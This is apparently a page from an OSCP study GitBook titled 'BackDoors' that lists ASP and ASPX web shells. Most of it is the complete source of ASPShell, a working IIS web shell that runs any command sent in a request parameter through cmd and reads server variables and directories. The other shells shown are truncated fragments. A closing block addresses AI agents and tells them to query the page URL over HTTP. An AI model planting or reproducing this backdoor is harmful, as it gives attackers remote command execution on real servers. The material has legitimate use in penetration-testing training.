# BackDoors ### webshell **Backdoor.aspx** ``` <%@ Page Language="C#" %> <%@ Import Namespace="System.IO" %> ``` ### **aspcmd.asp** ``` <%@ Language = "JScript" %> <% /* ASPShell - web based shell for Microsoft IIS Copyright (C) 2007 Kurt Hanner This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA http://aspshell.sourceforge.net */ var version = "0.2 (beta) [2007-09-29]"; var homepagelink = "http://aspshell.sourceforge.net"; var q = Request("q")(); var cd = Request("cd")(); if (q) { var command = ""; var output = ""; if (q.length == 0) { q = ":"; } command = "" + q; if (command == "?") { output = " ? this help page\n" + " :sv all server variables\n" + " execute any shell command\n"; } else if (command.toLowerCase() == ":sv") { var sv = ""; var svvalue = ""; var esv = new Enumerator(Request.ServerVariables); for (; !esv.atEnd(); esv.moveNext()) { sv = esv.item(); output += sv; output += ": "; svvalue = "" + Request.ServerVariables(sv); if (svvalue.indexOf("\n") >= 0) { output += "\n"; var svitems = svvalue.split("\n"); for (var i=0; i 0) { output += " "; output += svitems[i]; output += "\n"; } } } else { output += svvalue; output += "\n"; } } } else if (command.toLowerCase() == ":cd") { var fso = new ActiveXObject("Scripting.FileSystemObject"); output = fso.GetAbsolutePathName("."); } else if (/^:checkdir\s(.*)?$/i.test(command)) { var newdirabs = ""; var newdir = RegExp.$1; var fso = new ActiveXObject("Scripting.FileSystemObject"); var cdnorm = fso.GetFolder(cd).Path; if (/^\\/i.test(newdir)) { newdirabs = fso.GetFolder(cd).Drive + newdir; } else if (/^\w:/i.test(newdir)) { newdirabs = fso.GetAbsolutePathName(newdir); } else { newdirabs = fso.GetAbsolutePathName(fso.GetFolder(cd).Path + "\\" + newdir); } output = fso.FolderExists(newdirabs) ? newdirabs : "fail"; } else { var changedir = ""; var currdrive = ""; var currpath = ""; var colonpos = cd.indexOf(":"); if (colonpos >= 0) { currdrive = cd.substr(0, colonpos+1); currpath = cd.substr(colonpos+1); changedir = currdrive + " && cd \"" + currpath + "\" && "; } var shell = new ActiveXObject("WScript.Shell"); var pipe = shell.Exec("%comspec% /c \"" + changedir + command + "\""); output = pipe.StdOut.ReadAll() + pipe.StdErr.ReadAll(); } Response.Write(output); } else { var fso = new ActiveXObject("Scripting.FileSystemObject"); var currentpath = fso.GetAbsolutePathName("."); var currentdrive = fso.GetDrive(fso.GetDriveName(currentpath)); var drivepath = currentdrive.Path; %> Web Shell
ASPShell - Web-based Shell Environment Version <%=version%>
Copyright (c) 2007 Kurt Hanner, <%=homepagelink%>

<% } %> ``` ### **filesystembrowser.aspx** ``` <%@ Page Language="C#" %> <%@ Import namespace="System.Diagnostics"%> <%@ Import Namespace="System.IO" %> <%@ Import Namespace="System.Text" %> ``` ### **cmdexec.aspx** ``` <%@ Page Language="C#" %> <%@ Import namespace="System.Diagnostics"%> <%@ Import Namespace="System.IO" %> Command
Auth Key:
Command:
 
``` --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://rabakuku.gitbook.io/oscp/windows/backdoors.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.